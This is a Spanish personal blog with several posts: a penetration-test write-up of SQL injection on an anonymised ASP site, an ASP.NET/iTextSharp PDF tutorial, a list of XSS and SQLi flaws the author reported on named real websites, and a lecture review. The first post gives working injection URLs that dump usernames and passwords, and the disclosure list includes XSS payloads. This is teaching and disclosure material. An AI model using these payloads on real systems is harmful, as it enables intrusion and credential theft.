domingo, 21 de agosto de 2011

Hasta la cocina

Por motivos laborales, decido realizar test de penetración de la aplicación web donde tengo que desarrollar una aplicación.
Evidentemente, los nombres, direcciones, contraseñas y demás datos han sido modificados para este artículo.

A medida que avanza el test, se van encontrando diferentes fallos. Este post se centrará en la explotación de la vulnerabilidad SFX-SQLi, que mediante una única petición permite el volcado de los datos de toda una tabla en formato XML en un campo, inyectando una subconsulta en una entrada vulnerable. Para más información se recomienda dar un paseo por la web de Dani Kachakil, así como leer el artículo que le dedicó Chema Alonso, donde explican esto detalladamente.

La aplicación está desarrollada en asp. Al entrar en la web aparece la típica ventana para loguearnos.
Se prueban varias combinaciones típicas sin resultado positivo y sin bloqueo en el número de intentos por lo que se podía haber utilizado un script por fuerza bruta para obtener el login y password, pero vemos que tiene un enlace para el cambio de contraseña que nos abre otra ventana en un nuevo directorio.

También habíamos encontrado este directorio mediante WFUZ de Christian Martorella.

Analizando el código de la página de cambio de contraseñas, vemos un enlace que apunta a un archivo .asp. Descargamos el archivo que nos facilita mucha información acerca de como desarrollan la aplicacion y además encontramos un email del antiguo desarrollador de la aplicación.

Se prueba con el nombre y apellido en el formato del email, tanto para el usuario y password, obteniendo fácil acceso dado a una mala política de seguridad también en las contraseñas.

Una vez dentro y de casualidad, nos encontramos con un error OLE DB 80040e14 al probar si es vulnerable a XSS.


http://webEjemplo.com/ventanas/Ejemplo.asp?IDEMPRESA=>



Microsoft OLE DB Provider for SQL Server error '80040e14'
Sintaxis incorrecta cerca de '>'.



Debido al error se deduce que es posible SQLi y se confirma al obtener los primeros datos de la DB:

http://webEjemplo .com/ventanas/Ejemplo.asp?IDEMPRESA=%27%20having%201=1--


Microsoft OLE DB Provider for SQL Server error '80040e14'
La columna 'tbEjemplo.ID' de la lista de selección no es válida, porque no está contenida en una función de agregado ni en la cláusula GROUP BY.


Se obtiene el nombre de la tabla y el primer campo, se podría deducir como serán las otras tablas pero iremos paso a paso.

'GROUP BY tbEjemplo.ID having 1=1—

http://webEjemplo.com/ventanas/Ejemplo.asp?IDEMPRESA=%27%20GROUP%20BY%20ID,%20NOMBRE,%20TELEFONO%20having%201=1--


La columna 'tbEjemplo.FAX' de la lista de selección no es válida, porque no está contenida en una función de agregado ni en la cláusula GROUP BY.


Se van extrayendo las columnas una a una hasta tener la tabla completa, las siguientes se podrán sacar desde una única consulta mediante subconsulta.

http://webEjemplo.com/ventanas/Ejemplo.asp?IDEMPRESA=%27%20UNION%20SELECT%20MIN%28ID%29,1,1,1,1,1,1%20FROM%20tbUSUARIOS%20WHERE%20ID%20%3E1--
Para ver el nombre de la base de datos:
http://webEjemplo.com/ventanas/Ejemplo.asp?IDEMPRESA=1+and+1=convert%28int,db_name%28%29%29--


Microsoft OLE DB Provider for SQL Server error '80040e07'
Error de conversión al convertir el valor nvarchar 'dbwebEjemplo_DEV' al tipo de datos int.



Se pueden obtener más datos como el usuario que estamos utilizando de acceso:

http://webEjemplo.com/ventanas/Ejemplo.asp?IDEMPRESA=1+and+1=convert%28int,user_name%28%29%29--


Microsoft OLE DB Provider for SQL Server error '80040e07' Error de conversión al convertir el valor nvarchar 'dbo' al tipo de datos int.


http://webEjemplo.com/ventanas/Ejemplo.asp?IDEMPRESA=1+and+1=convert%28int,%28select+top+1+table_name+from+information_schema.tables%29%29--


Microsoft OLE DB Provider for SQL Server error '80040e07' Error de conversión al convertir el valor nvarchar 'tbUSUARIOS' al tipo de datos int.



http://webEjemplo.com/ventanas/Ejemplo.asp?IDEMPRESA=1 and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('tbUSUARIOS')))--


Error de conversión al convertir el valor nvarchar 'sysdiagrams' al tipo de datos int.



http://webEjemplo.com/ventanas/Ejemplo.asp?IDEMPRESA=1 and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('tbUSUARIOS','sysdiagrams')))--


Error de conversión al convertir el valor nvarchar 'tbUSUARIOSHISTORICOPASSWORD' al tipo de datos int.


Y así una a una…

También se puede encontrar el nombre de las columnas con:
http://webEjemplo.com/ventanas/Ejemplo.asp?IDEMPRESA=1 and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='tbUSUARIOS'))--


Error de conversión al convertir el valor nvarchar 'ID' al tipo de datos int.

=1 and 1=convert(int,(select top 1 column_name from information_schema.columns
where table_name='tbUSUARIOS'and+column_name not in ('ID','NOMBRE','APELLIDO1','APELLIDO2')))--





Y al final, la parte más interesante.
Mediante union podemos sacar todos los datos de la tabla con SFX-SQLi, tal como se ha dicho al principio, inyectando una subconsulta en uno de los campos (varchar), en este caso se escoge el segundo campo.

La consulta sería algo así:


select * from tbEjemplo UNION SELECT ID,(SELECT * FROM tbEjemplo FOR XML RAW),'1','1','1','1',1 FROM tbEjemplo –



En el ejemplo:

http://webEjemplo.com/ventanas/Ejemplo.asp?IDEMPRESA=%27%20UNION%20SELECT%20ID,1,%28SELECT%20*%20FROM%20tbEjemplo%20FOR%20XML%20RAW%29,2,3,4,6%20FROM%20tbEjemplo%20--

Donde se puede ver como extraemos el xml en el segundo campo.








Como se ha visto, una vez sabemos el nombre de la base de datos, se pueden conseguir todas las tablas de esta db en formato XML:

http://www.webEjemplo.com/ventanas/Ejemplo.asp?IDEMPRESA=%27%20UNION%20SELECT%20ID,1,%28SELECT%20*%20FROM%dbwebEjemplo_DEV1.INFORMATION_SCHEMA.TABLES%20FOR%20XML%20RAW%29,2,3,4,6%20FROM%20tbEjemplo%20--





Y una vez tenemos esto podemo ver que tabla contine usuarios y lanzar la inyección por nombre de las columnas que nos interese.
Esta injección nos da los campos login y password de la tabla tbUSUARIOS en formato XML.

http://www.webEjemplo.com/ventanas/Ejemplo.asp?IDEMPRESA=%27%20UNION%20SELECT%20ID,1,%28SELECT%20LOGIN,%20PASSWORD%20FROM%20tbUSUARIOS%20FOR%20XML%20RAW%29,2,3,4,6%20FROM%20tbEjemplo%20--

Como también los campos Nombre, apellido1, email, login, password

http://www.webEjemplo.com/ventanas/Ejemplo.asp?IDEMPRESA=%27%20UNION%20SELECT%20ID,1,%28SELECT%20NOMBRE,%20APELLIDO1,%20EMAIL,%20LOGIN,%20PASSWORD%20FROM%20tbUSUARIOS%20FOR%20XML%20RAW%29,2,3,4,6%20FROM%20tbEjemplo%20--


Como se puede ver, no hace falta dedicar mucho tiempo para conseguir toda la información posible.
La solución a estos errores habría sido sencilla:

Mantener una política de seguridad de las contraseñas, controlar que parte de código es accesible desde el cliente y filtrar los parámetros antes de ser pasados habría sido suficiente.


sábado, 16 de julio de 2011

ASP.NET: Control para editar texto.

Unificando reportes en un único PDF - 1


Esta entrada estará dividida en varias partes.

La intención en esta aplicación web es reportar mediante un único informe en pdf diferentes gráficos, tablas de resultados y el análisis de los resultados, además de alguna documentación que desea incluir el cliente en tiempo de ejecución. Teniendo en cuenta que el presupuesto para el desarrollo es cero, por lo que no se han utilizado soluciones de pago que harían esto de una forma más sencilla.

Lamentablemente no enlazaré los múltiples sitios consultados pues en ninguno de ellos he encontrado toda la información que he necesitado y he perdido la cuenta de los que me han servido de algo.

Al final, como Frankenstein, esto está hecho a retales. Es posible que hayan formas más sencillas de hacerlo, esta simplemente ha sido la mía.


Se realiza un proyecto web con ASP.NET programando en vb.net y c# utilizando visual studio 2008 (Framework 3.5) y SQL Server 2005 para gestionar los datos.

Básicamente, al inicio los objetivos eran los siguientes:

- Utilizar una caja de texto en la que el usuario pueda insertar texto con formato, modificar la fuente, tamaño, alineación etc.
- Crear diferentes gráficos, tablas... 6 reportes en 1, sin pagar licencias de software especifico para esto, por lo que se ha utilizado report viewer y sub reports.
- Generar pdf de los reportes
- Generar pdf del texto introducido en tiempo de ejecución.
- Unificar los diferentes pdf en un único archivo.

Para cubrir el primer objetivo, hacemos servir CKeditor un potente editor de texto Open Source.

El funcionamiento es sencillo:
- Se descarga CKeditor desde aquí.
- Se agregan las referencias al proyecto. Podemos comprobar la .dll en el directorio /bin del proyecto.
- Colocamos en el diseño el código del componente. Configuramos las propiedades de éste según gustos, en este caso he modificado la Toolbar básica que viene por defecto ya que algunas funcionalidades del complemento no funcionaban correctamente.





<CKEditor:CKEditorControl ID="CKEditor1" UseBROnCarriageReturn="true" runat="server" Width="877px" Toolbar="Basic" EnableXHTML="true" ToolbarBasic="Bold|Italic|Underline|Strike|-|
JustifyLeft|JustifyCenter|JustifyRight|JustifyBlock|-||-||PageBreak|
Link|Unlink|Anchor
Styles|Format|Font|FontSize|-|TextColor|BGColor" Height="342px"></CKEditor:CKEditorControl>


Una vez tengo el editor de texto funcionando, creo un reporte mediante el control report viewer y trato de pasarle el texto de ckeditor con CKeditor.text por parámetros del reporte.
Pero no funciona correctamente pues me pasa el texto con formato HTML.
Revisando en la web como solucionarlo, veo que report viewer no permite decodificar el texto en HTML, por lo que recurro a iTextSharp para crear un primer reporte en pdf de este texto.

Desde la source forge, descargo iTextSharp.

- Añadimos la libreria al proyecto, agregando una vez más la referencia y comprobando que se encuentra en el directorio /bin.

Para su uso, en el código añadimos las diferentes implementaciones necesarias:


'imports para el uso de itextsharp
Imports iTextSharp
Imports iTextSharp.text
Imports iTextSharp.text.pdf
Imports iTextSharp.text.Image


Añadimos un procedimiento que nos convierta html a un archivo pdf.


Private Sub añadeTextoHTML()

Try

Dim Documento As New Document

Dim pagina As New Page

PdfWriter.GetInstance(Documento, New

'Indicamos una ruta y nombre del archivo

FileStream(Server.MapPath(".\Pdf\") + "Prueba-text.pdf", FileMode.Append))

Documento.Open() 'Abrimos el documento
Dim parrafo As New Paragraph
Documento.Add(parrafo) 'Agrega el parrafo al documento
parrafo.Clear()

Dim htmlText As String = CKEditor1.Text
Dim xx As iTextSharp.text.html.simpleparser.StyleSheet = Nothing
Dim htmlarraylist As New List(Of IElement)

htmlarraylist = iTextSharp.text.html.simpleparser.HTMLWorker.ParseToList(New StringReader(htmlText), xx)

For k = 0 To htmlarraylist.Count - 1

Documento.Add(DirectCast(htmlarraylist(k), IElement))

Next

Documento.Close()

'System.Diagnostics.Process.Start(Server.MapPath(".\Pdf\") + "Prueba-text.pdf") 'Abre el archivo creado

Catch exx As Exception

lblError.Text = "<script>alert('Ha ocurrido un error al crear el documento de texto')</script>"

End Try

End Sub


Evidentemente, antes de pasar el texto del editor, realizaremos un filtrado del mismo, por lo que pudieran entrar los usuarios, mediante una función que nos retorne el texto filtrado.
Para ello he utilizado "replace" de todo lo que se ha considerado sospechoso conveniente.

Es interesante leer el post minimizando riesgos de pdf.

En la segunda parte trataré como hacer reports y subreports mediante un control report viewer y como unir los diferentes archivos generados en un único pdf.

Se agradecen vuestras críticas sugerencias.


Un saludo desde mi reino,

LeGNa

miércoles, 22 de diciembre de 2010

Vulnerabilidades

En esta sección, se reportarán las distintas vulnerabilidades que vaya encontrando de forma casual, navegando por la red, pues no me dedico a buscarlas.

----------------

Sitio web: http://www.acc10.cat/
Descubridor: LeGNa29A
URL del aviso:
Fecha de descubrimiento: 17/12/10
Fecha de notificación: 17/12/10
Fecha de publicación: 22/12/10 (una vez solucionado)
Arreglado : si
Información adicional: XSS en el buscador del site

---------------


Turno de facebook. Sin comentarios...




------------------

Reportada vulnerabilidad encontrada en ya.com
pero por lo visto Lostmon ya la había descubierto/¿reportado? en Agosto del 2007!!!!
Está claro que no tienen prisa en corregirla.


Sitio web: https://acceso.ya.com/
Descubridor: LeGNa29A
URL del aviso: http://legna29a.blogspot.com/2010/01/vulnerabilidades.html
Fecha de descubrimiento: 16/08/10
Fecha de notificación: 16/08/10
Fecha de publicación: 16/08//10
Arreglado : no!!! desde hace 3 años?!?!?
Información adicional: XSS ( varios )

------------------
Vulnerabilidad encontrada fisgoneando por la red


Sitio web: http://www.dualsolution.com
Descubridor: LeGNa29A
URL del aviso: http://legna29a.blogspot.com/2010/01/vulnerabilidades.html
Fecha de descubrimiento: 06/08/10
Fecha de notificación: 06/08/10
Fecha de publicación: 06/08//10
Arreglado :
Información adicional: XSS y SQLinjection

-------------

Vulnerabilidades encontradas preparando un trabajo sobre la patronal.
nadie esta a salvo...

Sitio web: http://www.ceoe.es/ceoe/search.search.action
Descubridor: LeGNa29A
URL del aviso: http://legna29a.blogspot.com/2010/01/vulnerabilidades.html
Fecha de descubrimiento: 19/01/10
Fecha de notificación: 19/01/10
Fecha de publicación: 20/01/10
Arreglado :
Información adicional: XSS
en los buscadores
<script>alert('XSS by Legna')<script>

-----------

Sitio web: http://www.isee.es/isee3/search.search.action
Descubridor: LeGNa29A
URL del aviso: http://legna29a.blogspot.com/2010/01/vulnerabilidades.html
Fecha de descubrimiento: 20/01/10
Fecha de notificación: 20/01/10
Fecha de publicación:
Arreglado:
Información adicional:
XSS
en los buscadores
<script>alert('XSS by Legna')<script>

-----------

Sitio web: http://www.ceifor.es/ceifor/search.search.action
Descubridor: LeGNa29A
URL del aviso: http://legna29a.blogspot.com/2010/01/vulnerabilidades.html
Fecha de descubrimiento: 20/01/10
Fecha de notificación: 20/01/10
Fecha de publicación: 20/01/10
Arreglado :
Información adicional: XSS
XSS en los buscadores
<script>alert('XSS by Legna')<script>

-----------

domingo, 7 de febrero de 2010

EDUCAR PERSONAS - D. Manuel Segura

El pasado día 28 de Enero, asistí a la interesante conferencia sobre como educar personas, impartida por D. Manuel Segura.

D. Manuel Segura Morales, jesuita granadino, estudió en Barcelona y en Inglaterra y vivió seis años en Paraguay, bajo la dictadura de Stroessner, y cuatro años en Chile, cuando Allende ganó y perdió la Presidencia del Gobierno.

Doctor en Filosofía y Ciencias de la Educación (Universidad de Valencia), Doctor en Pedagogía (Universidad de Asunción, Paraguay) y Licenciado en Filosofía y Teología (Barcelona y Heythrop College, Chipping Norton,Oxford,Inglaterra).
Vuelto a España después de estas intensas vivencias, Manuel Segura fue durante muchos años profesor de psicología educativa en la Universidad de La Laguna.

Ha sido profesor de Sociología y de Historia de las Religiones en la Facultad de Filosofía de la Universidad de Asunción, Paraguay; y profesor, durante 19 años, de Psicología Educativa y de Sociología en las Escuelas Universitarias de Magisterio y de Trabajo Social de la Universidad de La Laguna.

Su tesis doctoral, en la Universidad de Valencia, estudió la eficacia de los tratamientos en los delincuentes juveniles. Ahora, ya jubilado, imparte incansablemente cursos sobre competencia social a profesores de Primaria y Secundaria. Actualmente reside en Almería.

Después de una breve introducción para presentarnos al conferenciante, en la que hicieron un ligero repaso por el extenso CV del Sr. D. Manuel Segura, algo que particularmente encuentro tan útil como incomodo, le dejaron el micro a este estudioso y sabio conocedor de la conducta humana.

A partir de ahí el tiempo pareció detenerse.

Nos habían mentalizado días antes para una extensa y pesada charla. Trataron de prepararnos para recibir a este sabio anciano y contrariamente a las expectativas, demostró que es él el que está muy preparado para hablar con cualquier tipo de público. D. Manuel, como le llamaban los presos con los que trabajó por el respeto y admiración que emana, posee la empatía suficiente para hacer su charla amena a una repleta sala de gente joven y a la vez transmitir con fuerza su mensaje.

Al escucharle me vinieron recuerdos de mi infancia, fue como estar sentado al lado de mi abuelo, una persona que destellaba en sus cansados ojos sabiduría, la larga experiencia en la vida, relatando una tras otra sus miles de anécdotas. Una persona que al hablar, con su particular acento mezcla de muchos lugares y su sobria tranquilidad, imparte tanta confianza como respeto.

La conferencia de D. Manuel empezó hablando de la importancia de educar a las personas, la formación no sólo es cuestión de adquirir conocimientos sino de enriquecer el interior.

Educar es formar personas y para eso se debe facilitar el acceso al conocimiento. “

Una de sus primeras frases impacta sobre mi y hace que durante unos segundos mi mente divague, no fue la única que dijo. Como pequeñas pinceladas las iba soltando entre anécdota y anécdota.

Estoy tan de acuerdo con sus palabras que me resulta extraño compartir la misma opinión que una persona 44 años mayor que yo. Pero lo cierto es que este hombre las pronuncia en los tiempos que corren, cuando tratan de bloquearnos la cultura por diversos medios, cuando están tratando de censurar el medio más “libre” que disponemos hoy en día (la red), cuando las noticias muestran a jóvenes que carecen de valores... me hace ver que los humanos a pesar de nuestra edad no somos tan diferentes. D. Manuel las pronuncia en una escuela, el inicio de la cadena. Hace tanto tiempo que creo que la educación debe actualizarse, pienso que toma desde hace mucho tiempo un rumbo equivocado.

Acceso al conocimiento”

formar personas, enseñar a relacionarse”

el aislamiento maximiza el miedo”

la soledad conduce a enfermedades mentales, en algunos casos incluso al suicidio”

Y como el martillo de un herrero golpea nuevamente, una vez tras otra acertando en cada golpe con cada una de sus frases. A pesar de creer que la soledad es un buen camino por el que pasar, estoy de acuerdo con él, es un mal sitio donde quedarse. “Todos necesitamos a alguien”

Continua enseñándonos las tres cosas necesarias, simplificando al máximo para hacerlo entendible: PENSAR, EMOCIONES y VALORES MORALES.

La importancia de PENSAR, de conocer a los demás pero sobre todo de conocerse a uno mismo. La inteligencia interpersonal y la intrapersonal.

Como podemos controlar nuestras acciones? Que debemos pensar?

Existen 3 métodos que nos harán tomar conciencia de la causa efecto.

Pensamiento alternativo.

Es la forma de pensar alternativas a nuestras reacciones ante cualquier suceso.

Pensamiento Consecuencial.

Esta forma de pensar nos hará plantearnos que tipo de consecuencias llevará cada acción que adoptemos para poder escoger la más adecuada.

Pensamiento de Prespectiva.

La última y no menos importante es desarrollar empatía. Muchas veces, al tratar de sentir lo que siente la otra persona con la que nos relacionamos conseguiremos llegar a entenderle y actuar de una forma inteligente.

Así D. Manuel proseguía y nos habló en un par de ocasiones de Erich Fromm, otro psicoanalista de la conducta humana, invitando a leer su libro “Inteligencia Social”. De Erich From (1900-1980), he podido leer “El arte de amar” un interesante libro que también recomiendo.

Las EMOCIONES tienen un papel importante en nuestra vida, en nuestra salud (sobre todo mental), motivaciones... el análisis de estas emociones nos llevará a conocernos más a nosotros mismos y poder conocer a su vez a las personas de nuestro alrededor, de esta forma facilitaremos el control de estas emociones haciendo todo más llevadero, sin llegar a extremos. Desarrollar la inteligencia emocional.

Por último y de forma rápida D. Manuel nos habla de los VALORES MORALES.

Dentro de estos, los puede dividir en dos grandes grupos, los religiosos y los laicos. A su vez nos indica que no son contradictorios y es que al final los humanos no somos tan diferentes.

Debemos vivir en armonía si queremos un mundo mejor, cooperar, aprender a convivir, recuerar valores como la justicia, responsabilidad, sinceridad, compasión... y libertad.

Termina explicándonos que las cosas más bellas y necesarias son gratis!

La luz, el aire, el amor...

Dicen que lo bueno si breve, dos veces bueno. La sensación que me quedó al terminar la conferencia fue la de poderme pasar horas escuchando a D. Manuel Segura, fue breve, tristemente esta vez un orador cumplió los horarios que nos sujetan a todos, dejando un dulce sabor de boca. Explicando las directrices básicas para que nuestras mentes trabajen sobre ello, pues después de esta charla uno termina analizando su pasado, presente y pensando en su futuro, para ser cada día mejor persona.